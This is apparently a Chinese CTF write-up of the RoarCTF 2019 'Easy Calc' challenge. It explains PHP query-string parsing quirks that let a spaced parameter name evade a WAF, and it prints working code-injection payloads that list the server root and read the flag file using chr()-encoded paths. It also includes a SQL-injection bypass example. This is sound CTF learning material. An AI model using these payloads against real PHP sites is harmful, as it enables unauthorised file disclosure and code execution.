PHP字符串解析漏洞
[RoarCTF 2019]Easy Calc
点开来是一个计算器,试了一下也确实是个计算器,看不懂,去摸wp
get到了一个新知识点
PHP会把获取到的字符串转换为$_GET或$_POST的值的时候,会对其进行处理,在解析的过程中将会对一些字符删除或者用下划线替代,如/?%20news[id%00=42会转换为Array([news_id] => 42)
,如果防范的规则是news_id参数的值是必须为数字,那么我们可以用下面的语句绕过
/news.php?%20news[id%00=42"+AND+1=0--
PHP在这里会做两件事:
1.删除空白字符
2.将某些字符转化为下划线(包括空格
下面是三种原始--编译--最终
User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar
可以看到,不同的位置有不同的字符可以达到一样的效果
就比如说对一个叫num的参数进行拦截,我写成? num,最后处理出来还是num,但是因为那个括号,waf又认不出来 num是num,所以不会拦截
这题抓包可以看到GET /calc.php?num=1 HTTP/1.1,说明是通过get方式来给这个num传参的,试了下http://node3.buuoj.cn:29326/calc.php?num=3*5
,嗯,确实给出了结果
然后又是几个新知识点scandir() 列出目录中的文件和目录,var_dump()打印变量的相关信息,当字符被过滤的时候,可以考虑使用chr()转为ascii编码进行绕过
构造的payload:http://node3.buuoj.cn:29326/calc.php?%20num=var_dump(scandir(CHR(47)))
得到信息可以看到
array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
这里面根目录有个叫f1agg的文件,然后用file_get_contents读出http://node3.buuoj.cn:29326/calc.php?%20num=var_dump(file_get_contents(CHR(47).CHR(102).CHR(49).CHR(97).CHR(103).CHR(103)))
参考文章:
https://www.freebuf.com/news/213359.html
https://blog.csdn.net/weixin_44077544/article/details/102630714
评论已关闭